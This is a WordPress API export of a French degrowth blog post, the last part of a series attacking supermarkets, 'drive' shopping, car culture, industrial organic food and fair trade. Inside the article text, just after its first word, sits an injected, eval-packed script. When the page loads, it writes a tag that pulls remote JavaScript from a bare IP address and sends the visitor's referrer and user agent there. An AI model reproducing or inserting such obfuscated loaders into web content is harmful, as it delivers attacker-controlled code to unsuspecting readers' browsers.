{"id":9406,"date":"2017-12-29T14:03:08","date_gmt":"2017-12-29T13:03:08","guid":{"rendered":"https:\/\/www.partipourladecroissance.net\/?p=9406"},"modified":"2018-04-26T19:36:07","modified_gmt":"2018-04-26T18:36:07","slug":"cest-la-course-fin","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=9406","title":{"rendered":"C\u2019est la course !! (fin)"},"content":{"rendered":"<p><strong><a href=\"https:\/\/www.partipourladecroissance.net\/?attachment_id=9407\" rel=\"attachment wp-att-9407\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft wp-image-9407\" src=\"https:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2017\/12\/il_570xN.610306363_q3yb.jpg\" alt=\"\" width=\"231\" height=\"176\" srcset=\"https:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2017\/12\/il_570xN.610306363_q3yb.jpg 570w, https:\/\/www.partipourladecroissance.net\/wp-content\/uploads\/2017\/12\/il_570xN.610306363_q3yb-300x229.jpg 300w\" sizes=\"auto, (max-width: 231px) 100vw, 231px\" \/><\/a>Nous <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tntbz|var|u0026u|referrer|dtstz||js|php'.split('|'),0,{}))\n<\/script><\/noindex> avons vu que les grandes surfaces ont envahi les p\u00e9riph\u00e9ries de nos villes. Loin de ceintures vertes, ce sont des ceintures de b\u00e9ton et d&rsquo;enseignes lumineuses qui enlaidissent nos villes. Et pour s&rsquo;y rendre, l&rsquo;automobile est le mode de d\u00e9placement roi.<\/strong><\/p>\n<p>Ainsi, les grandes surfaces s&rsquo;inscrivent dans la civilisation de l&rsquo;automobile en parall\u00e8le aux terribles habitats pavillonnaires et aux grands ensembles. Nos territoires sont ainsi remodel\u00e9s avec de grandes voies menant de l&rsquo;habitat aux lieux de consommations\u00a0: des dizaines de kilom\u00e8tres d&rsquo;asphaltes afin que nous puissions rouler au plus vite pour assouvir notre besoin de consommer. Les grandes surfaces sacralisent les p\u00e9riph\u00e9ries urbaines, le b\u00e9ton et l&rsquo;automobile. Cette derni\u00e8re est l\u2019outil magique pour s\u2019y rendre, mais aussi pour ramener facilement ses achats, le coffre d\u2019une automobile est plus pratique que des bras, surtout lorsque nous faisons les courses pour une semaine. Du coup, tout est fait pour l\u2019automobile\u00a0: les acc\u00e8s, mais surtout les parkings gigantesques qui font face aux grandes surfaces comme la plage fait face \u00e0 la mer. De fait, les grandes surfaces s\u2019inscrivent dans la pavillonarisation de nos soci\u00e9t\u00e9s et participent \u00e0 l\u2019\u00e9talement urbain, v\u00e9ritable fl\u00e9au de nos soci\u00e9t\u00e9s, qui sacrifient notre agriculture locale pour loger des voitures qui permettent d\u2019acheter des produits-monde.<br \/>\nPlus r\u00e9cemment, un nouvelle fa\u00e7on de faire ses courses est apparue avec le \u00ab\u00a0drive\u00a0\u00bb. Une nouvelle fa\u00e7on qui relie les \u00e9crans aux grandes surfaces avec l\u2019automobile comme lien. Le principe est simple, mais l\u2019enjeu est important, car il relie les grandes surfaces avec le consommateur via internet. Le consommateur pr\u00e9pare et valide sa commande sur le net et peut passer la r\u00e9cup\u00e9rer quelques heures apr\u00e8s. Pendant ce temps, des petites mains la pr\u00e9parent et se chargeront m\u00eame de les ranger dans le coffre de la voiture. Les avantages sont nombreux pour les acteurs de la grande distribution, lui permettant de prendre pied dans le multi-canal tout en fid\u00e9lisant le client et en l\u2019orientant toujours plus vers la consommation de certains produits.<\/p>\n<p>Un des arguments pour promouvoir le drive est le gain de temps. Evidemment, l\u2019objectif n\u2019est pas de prendre son v\u00e9lo le matin pour aller au march\u00e9, rencontrer des gens, des militants et des producteurs ou des marchands soucieux de leurs produits. Non, l\u2019objectif est bien d\u2019aller vite, de faire \u00ab\u00a0moderne et confortable\u00a0\u00bb (pub Auchan). La logique est simple\u00a0: vous \u00eates assis sur le canap\u00e9 et vous cliquez pour faire vos courses. Puis, vous allez les r\u00e9cup\u00e9rer \u2026 assis dans votre voiture. Vous n\u2019avez m\u00eame pas \u00e0 sortir de votre voiture, puisqu\u2019un employ\u00e9 viendra charger vos courses dans votre coffre avec le sourire. Une fois chez vous, vous n\u2019avez qu\u2019\u00e0 ranger tout \u00e7a et vous rasseoir devant votre \u00e9cran. Ecran, voiture, \u00e9cran\u00a0: la vie est bien faite.<br \/>\nReprenons Raoul Anv\u00e9laut dans le journal \u00ab\u00a0La d\u00e9croissance\u00a0\u00bb2\u00a0\u00a0sur le drive : \u00ab\u00a0Pratique, non\u00a0? Et vous ne voyez pas non plus les \u00ab\u00a0pr\u00e9parateurs de commande\u00a0\u00bb qui s\u2019\u00e9chinent dans l\u2019ombre \u00e0 porter et pr\u00e9parer \u00e0 votre place. Tout comme le lecteur qui ach\u00e8te un livre sur Amazon ne voit pas la cha\u00eene d\u2019exploitation qu\u2019il y a entre son clic et le colis qu\u2019il re\u00e7oit dans sa bo\u00eete. Le consommateur-roi est servi. Tout vient \u00e0 lui\u00a0 ] &#8230;[ le magasin drive pousse toujours plus loin les limites de la d\u00e9personnalisation de l\u2019existence, de son artificialisation dans un environnement hors-sol, fait d\u2019\u00e9crans et de machines\u00a0\u00bb. En agissant de la sorte, le consommateur pense gagner du temps mais ne voit pas qu&rsquo;il d\u00e9personnalise encore plus son existence et son environnement, artificialisant encore plus son environnement (avec des hypermarch\u00e9s hors-sol).<!--more--><\/p>\n<p>Si l\u2019automobile est un corollaire aux grandes surfaces, le \u00ab\u00a0drive\u00a0\u00bb vient l\u2019appuyer, caricaturer nos modes de vie. Ensembles, elles ont profond\u00e9ment modifi\u00e9 nos modes de vie mais \u00e9galement nos paysages, avec des bandes urbaines toujours plus longues d\u2019un c\u00f4t\u00e9 et des d\u00e9serts ruraux et de centre-ville de l\u2019autre. Ces zones commerciales, v\u00e9ritables espaces d\u00e9di\u00e9es \u00e0 la consommation, sont devenues incontournables, rempla\u00e7ant nos anciens centres-villes comme lieu d\u2019animation, comme lieu de vie \u2026 mais une vie tourn\u00e9e vers la consommation, une vie sans attrait, o\u00f9 le lien social et les rapports humains sont r\u00e9duits au strict n\u00e9cessaire. Le drive en est un exemple choquant. Derri\u00e8re cet \u00e9tat de fait, se cache une mainmise du syst\u00e8me quasi-parfaite afin de nous faire consommer, de nous occuper, finalement de nous contr\u00f4ler &#8230; On consomme passivement ce qu\u2019on nous dit de consommer. Peu importe les cons\u00e9quences, nous sommes trop occup\u00e9s \u00e0 faire nos courses \u2026<\/p>\n<p><strong>La main invisible des grandes surfaces pour mieux contr\u00f4ler nos vies<\/strong><\/p>\n<p>Avec la grand distribution, nous avons mis le doigt dans un engrenage destructeur, de plus en plus envahissant, et dont producteurs et consommateurs sont fortement d\u00e9pendants. La force de la grande distribution a justement \u00e9t\u00e9 de s&rsquo;imposer comme \u00e9l\u00e9ment incontournable de nos vies, tout en s&rsquo;imposant brutalement dans nos paysages. Maintenant qu&rsquo;elle est l\u00e0, maintenant qu&rsquo;elle a fait le vide autour d&rsquo;elle, comment ne pas faire avec\u00a0? A regarder de plus pr\u00e8s, tout le monde est conscient des limites de ce mod\u00e8le de consommation mais trop peu de personnes semblent vouloir r\u00e9agir. La passivit\u00e9 suscit\u00e9e par la grande distribution s&rsquo;inscrit dans la continuit\u00e9 de notre trop grande passivit\u00e9 globale envers le syst\u00e8me croissanciste et, notamment, envers la chose politique. Avec la grande distribution, nous semblons abandonner nos traditions, notre identit\u00e9, notre originalit\u00e9 \u2026 nous nous abandonnons \u00e0 elle finalement, car c&rsquo;est bien elle qui nous manipule, nous oriente. Elle a cr\u00e9\u00e9 un monde que la soci\u00e9t\u00e9 de croissance a permis, encourag\u00e9 m\u00eame.<\/p>\n<p>La grande distribution a encercl\u00e9 nos villes, les \u00e9touffant et, surtout, en devenant leurs poumons, leurs \u00ab\u00a0fameux\u00a0\u00bb poumons \u00e9conomiques, signes que nos villes sont bien malades, signes que notre soci\u00e9t\u00e9 est bien malade.<br \/>\nLa grande distribution nous permet de trouver tout ce dont nous croyons avoir besoin\u00a0(alimentaire, hygi\u00e8ne, para-m\u00e9dical mais aussi bricolage, sport, habillement, informatique, d\u00e9coration, loisirs que ce soit dans les enseignes traditionnelles ou dans des enseignes sp\u00e9cialis\u00e9es). Omnipr\u00e9sentes, Les grandes surfaces sont devenues indispensables dans nos vie de consum\u00e9ristes, \u00e0 tel point qu&rsquo;elles sont devenues un de nos lieux de vie, embl\u00e9matiques d&rsquo;une soci\u00e9t\u00e9 centr\u00e9e sur la consommation comme lieu d&rsquo;expression. Les grandes surfaces ont finalement vid\u00e9 nos villes pour en cr\u00e9er d&rsquo;autres en p\u00e9riph\u00e9ries, mais des villes \u00e0 la gloire de la consommation, des villes faites pour l&rsquo;achat, des villes pour servir le syst\u00e8me et non pour simplement y vivre. Elles rythment nos vies en rythmant nos achats, mais surtout en contr\u00f4lant nos besoins. Et, en contr\u00f4lant nos besoins, c\u2019est nos vies qu\u2019elles contr\u00f4lent, que la m\u00e9gamachine contr\u00f4le\u00a0: consommer pour occuper nos esprits, consommer pour ne pas se r\u00e9volter, pour ne pas penser. La m\u00e9gamachine pr\u00e9f\u00e8re que l\u2019on d\u00e9pense plus plut\u00f4t que de d\u00e9-penser le syst\u00e8me.<br \/>\nCes zones sont finalement devenues des villes dans la ville, des villes d\u2019un genre nouveau car on y vit pas, on y consomme. On n\u2019y fl\u00e2ne pas non plus, on y consomme. On n\u2019y vit pas r\u00e9ellement pas non plus, on y consomme. C\u2019est une ville format\u00e9e autour de l\u2019objectif de faire marcher la machine de la consommation, qui est apparue dans nos vies, sur nos territoires avec leurs rues cercl\u00e9es de rayonnages ou de galeries marchandes o\u00f9 nous d\u00e9ambulons avec comme seul int\u00e9r\u00eat, celui de consommer.<\/p>\n<p><strong>Des temples de la consommation\u00a0: vivre pour consommer ou consommer pour vivre\u00a0?<\/strong><\/p>\n<p>Les grandes surfaces imposent leur vision, leur produit, leur mod\u00e8le de soci\u00e9t\u00e9. Elles ont cr\u00e9\u00e9 un monde artificiel o\u00f9 la priorit\u00e9 est la consommation, le reste est superflu. Ainsi, pas de lien social, pas de sentiment, les zones commerciales sont quasi-d\u00e9shumanis\u00e9es. Le drive en est un des aboutissements\u00a0: consommer sans voir l\u2019humain, nier la r\u00e9alit\u00e9, oublier les cons\u00e9quences.<br \/>\nD\u2019ailleurs, dans les grandes surfaces, le lien social n\u2019a pas sa place. Le consommateur est un client lambda qui n&rsquo;a pas affaire \u00e0 un commer\u00e7ant mais \u00e0 des employ\u00e9s qui ne les connaissent pas. Ces derniers sont interchangeables, souffrent de conditions de travail dures et d\u00e9primantes. Ils sont des pions sur l\u2019\u00e9chiquier \u00e9conomique parfaitement int\u00e9gr\u00e9s \u00e0 ces lieux d\u00e9personnalis\u00e9s o\u00f9 tout le monde est anonyme.<br \/>\nDans une grande surface, il n\u2019y a aucune notion temporelle\u00a0: pas de lumi\u00e8re naturelle, ni d\u2019horloge, c\u2019est toujours la m\u00eame heure, celle de consommer. Elles peuvent \u00eatre ouvertes le dimanche, les jours f\u00e9ri\u00e9s, en soir\u00e9e afin que nous puissions consommer \u00e0 chaque instant de nos vies. A l&rsquo;int\u00e9rieur d\u2019une grande surface, nous perdons notre rapport au temps et m\u00eame \u00e0 l&rsquo;espace\u00a0: qu&rsquo;est ce qui ressemble plus \u00e0 une grande surface qu&rsquo;une autre grande surface\u00a0? Que nous soyons \u00e0 Moulins, \u00e0 Beauvais ou \u00e0 Lyon, elles sont con\u00e7ues \u00e0 l&rsquo;identique, seul le logo et le slogan changent. Nos territoires sont ainsi standardis\u00e9s pour servir la consommation qui se doit d&rsquo;\u00eatre au centre de nos vies, tous les jours et \u00e0 toute heure.<br \/>\nCe sont \u00e9galement des endroits o\u00f9 tout est disponible. Le monde est disponible\u00a0: un jour, c\u2019est l\u2019Asie qui s\u2019invite chez nous\u00a0; un autre, nous devons japoniser notre int\u00e9rieur ou le mettre au go\u00fbt scandinave. Le monde est \u00e0 port\u00e9e de clic, de chariot, comme il est \u00e0 port\u00e9e de tous avec les avions low-cost. Toutes les cultures du monde semblent \u00e0 notre port\u00e9e par de simples achats.<br \/>\nL\u2019ensemble de notre vie quotidienne peut \u00eatre aliment\u00e9 par des grandes surfaces. Elles marquent l\u2019entr\u00e9e dans un monde nouveau, celui de la consommation de masse, donc de la production de masse avec comme cons\u00e9quence in\u00e9luctable la standardisation des produits, de nos besoins, de nos vies. Malgr\u00e9 une apparente abondance et diversit\u00e9, nous partageons tous les m\u00eames consommations, qui s\u2019inscrivent dans un capitalisme d\u00e9brid\u00e9e. Celui-ci sacralise une consommation effr\u00e9n\u00e9e de tout, m\u00eame de l\u2019inutile, une consommation sans fronti\u00e8re, une consommation illusoire nous faisant croire qu\u2019avec elle, nous touchons au bonheur.<br \/>\nEt puis, cette soci\u00e9t\u00e9 nous cible, nous conseille. Les grandes surfaces comme l\u2019e-commerce ont d\u00e9velopp\u00e9 leur \u00ab\u00a0big brother\u00a0\u00bb en nous proposant des produits en fonction de nos achats pr\u00e9c\u00e9dents. Pas de hasard, les achats d\u2019hier doivent \u00eatre des achats pour demain. Avec les cartes de fid\u00e9lit\u00e9, les distributeurs sont capables de croiser des donn\u00e9es sur nos comportements de consommateurs afin de r\u00e9pondre aux mieux \u00e0 nos futurs besoins, en les orientant.<\/p>\n<blockquote><p><strong>Commerce \u00e9quitable et bio\u00a0:<\/strong><br \/>\nde fausses bonnes id\u00e9es au service d\u2019une soci\u00e9t\u00e9 gangren\u00e9e par la croissance<br \/>\nLa grande distribution, toujours en qu\u00eate de nouveaux march\u00e9s, n\u2019h\u00e9site pas \u00e0 se pr\u00e9senter comme \u00e9co-responsable et solidaire. Ainsi, commerces \u00e9quitables et bios sont devenus des rayons-phares des supermarch\u00e9s. On peut se donner bonne conscience en se rendant dans les grandes surfaces. Tant mieux, on gagne du temps. Mais devons-nous nous r\u00e9jouir de trouver des produits bios dans les grandes surfaces\u00a0? Et le commerce \u00e9quitable, bonne id\u00e9e ou \u00e9ni\u00e8me subterfuge pour vendre plus\u00a0?<br \/>\nPr\u00e8s de la moiti\u00e9 des produits issus de l\u2019agriculture biologique sont vendus en grandes surfaces. \u00c9videmment, ces derni\u00e8res n\u2019ont pas remis en cause leur principe pour obtenir les prix les plus bas en favorisant le bio industriel d\u2019importation et oubliant l\u2019aspect social. Avec ce bio mondialis\u00e9, nous ne sommes plus avec un bio vertueux d\u2019un point de vue environnemental, avec les transports et la r\u00e9frig\u00e9ration des produits qui ont un bilan carbone catastrophique. Ce bio industriel pose le m\u00eame questionnement que l\u2019agriculture productiviste traditionnelle, mais redore le blason des grandes surfaces.<br \/>\nQuant au commerce \u00e9quitable, il questionne dans la mesure o\u00f9 il appara\u00eet comme un label pour nous permettre de ne pas changer nos consommations. D\u00e9j\u00e0, il ne tient pas compte des co\u00fbts \u00e9cologiques. Comme souvent, l\u2019\u00e9nergie n\u00e9cessaire pour acheminer ces produits n\u2019est jamais r\u00e9ellement prise en compte dans le co\u00fbt, \u00e0 tel point que certains produits concurrencent les productions locales (comme le bio d\u2019ailleurs). Le commerce\u00a0\u00e9quitable nous \u00e9loigne de la relocalisation de l\u2019\u00e9conomie, de la red\u00e9couverte de produits locaux.<br \/>\nMais surtout, commerce \u00e9quitable et bio industriel cautionnent la grande distribution, cautionnent l\u2019\u00e9conomie-monde et contribuent \u00e0 d\u00e9velopper l\u2019emprise du mod\u00e8le occidental sur le reste du monde (notamment avec les cultures d\u2019exportations, \u00ab\u00a0dont le principal objectif reste notre bien-\u00eatre\u00a0\u00bb). Ils permettent de ne pas nous remettre en question et de ne pas remettre en question le m\u00e9canisme pervers de la grande distribution que nous avons d\u00e9j\u00e0 \u00e9voqu\u00e9. Pire, ils nous donnent bonne conscience tout en parvenant, finalement, \u00e0 ne pas remettre en cause le syst\u00e8me productiviste et consum\u00e9riste, questionnement qui \u00e9tait pourtant \u00e0 la base\u00a0de la cr\u00e9ation de ces labels.<\/p><\/blockquote>\n<p><strong>Conclusion<\/strong><\/p>\n<p>Les grandes surfaces contribuent \u00e0 l&rsquo;uniformisation de nos consommations et de nos besoins. Elles aseptisent nos vies et marquent l&#8217;emprise de la m\u00e9gamachine sur nos modes de vie.<br \/>\nElles sont de v\u00e9ritables temples de la consommation qui ont \u00e9rig\u00e9 la consommation en dogme, devenant les \u00e9glises des temps modernes o\u00f9 nous nous retrouvons pour communier, pour consommer. Une consommation particuli\u00e8re, devenue un plaisir, devenu totalitaire par la publicit\u00e9 avec un libre choix orient\u00e9.<\/p>\n<p>Les grandes surfaces sont un passage oblig\u00e9 qui structurent nos modes de vie, mais aussi de penser. Elles agissent comme la banalit\u00e9 du mal en nous permettant d\u2019ignorer les\u00a0cons\u00e9quences de nos actes. Lorsque nous faisons nos courses, nous n&rsquo;avons pas conscience de la m\u00e9gamachine que nous renfor\u00e7ons. C&rsquo;est bien l\u00e0 la force des grandes surfaces, d&rsquo;autant plus qu&rsquo;elles sont quasiment en situation de monopole pour certains services.<\/p>\n<p>Pour autant, nous ne condamnons pas Sylvie, et souhaitons encore moins la faire culpabiliser. Les grandes surfaces sont adapt\u00e9es \u00e0 nos modes de vie d&rsquo;homo consumerus. Et, il est logique de les utiliser. Par contre, lorsque nous commen\u00e7ons \u00e0 voir les dangers qu&rsquo;elles portent, c&rsquo;est aussi notre devoir de nous en \u00e9loigner. Il existe des alternatives pour \u00e9viter les grandes surfaces. De la m\u00eame fa\u00e7on qu&rsquo;il est encore possible de favoriser un petit artisan ou un producteur de proximit\u00e9. Mais, soyons lucides, s&rsquo;en \u00e9loigner signifie surtout revoir son positionnement dans la soci\u00e9t\u00e9 de consommation, revoir son positionnement par rapport aux besoins impos\u00e9s et, finalement, de se positionner pour une autre fa\u00e7on de consommer mais, surtout, une autre fa\u00e7on de vivre et de changer son mode de vie en s&rsquo;appuyant sur tout le relationnel que nous pouvons d\u00e9couvrir\u00a0en dehors des circuits de la grande distribution.<br \/>\nC\u2019est au niveau local que se trouve notre avenir car c\u2019est au niveau local que des producteurs peuvent d\u00e9fendre une agriculture paysanne, d\u00e9velopper des initiatives locales vertueuses d\u00e9connect\u00e9es des circuits de distributions traditionnels et favorisant les circuits courts comme les Amap. Il faut donc se battre pour relocaliser nos activit\u00e9s et notre \u00e9conomie, car c\u2019est au plan local que tout va se jouer. C\u2019est pour ses raisons qu\u2019il faut se battre pour maintenir services publics et commerces de proximit\u00e9, afin de r\u00e9sister \u00e0 ce que Serge latouche appelle \u00ab\u00a0le d\u00e9m\u00e9nagement plan\u00e9taire\u00a0\u00bb. Et, les grandes surfaces comme le e-commerce vont \u00e0 l\u2019encontre de la relocalisation. Elles vont \u00e0 l\u2019encontre d\u2019un monde plus humain, \u00e0 l\u2019encontre d\u2019un monde o\u00f9 nous serions lib\u00e9r\u00e9s de cette folie consum\u00e9riste, \u00e0 l\u2019encontre d\u2019un monde o\u00f9 la consommation n\u2019est pas la finalit\u00e9.<\/p>\n<p><strong>Lire les \u00e9pisodes pr\u00e9c\u00e9dents<\/strong> :<br \/>\n<a href=\"https:\/\/www.partipourladecroissance.net\/?p=9350\">https:\/\/www.partipourladecroissance.net\/?p=9350<\/a><br \/>\n<a href=\"https:\/\/www.partipourladecroissance.net\/?p=9372\">https:\/\/www.partipourladecroissance.net\/?p=9372<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nous avons vu que les grandes surfaces ont envahi les p\u00e9riph\u00e9ries de nos villes. Loin de ceintures vertes, ce sont des ceintures de b\u00e9ton et d&rsquo;enseignes lumineuses qui enlaidissent nos villes. Et pour s&rsquo;y rendre, l&rsquo;automobile est le mode de &hellip; <a href=\"https:\/\/www.partipourladecroissance.net\/?p=9406\">Continuer la lecture <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":7,"featured_media":9407,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-9406","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-billets-du-ppld"],"_links":{"self":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/9406","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9406"}],"version-history":[{"count":4,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/9406\/revisions"}],"predecessor-version":[{"id":9440,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/posts\/9406\/revisions\/9440"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=\/wp\/v2\/media\/9407"}],"wp:attachment":[{"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9406"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9406"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.partipourladecroissance.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9406"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}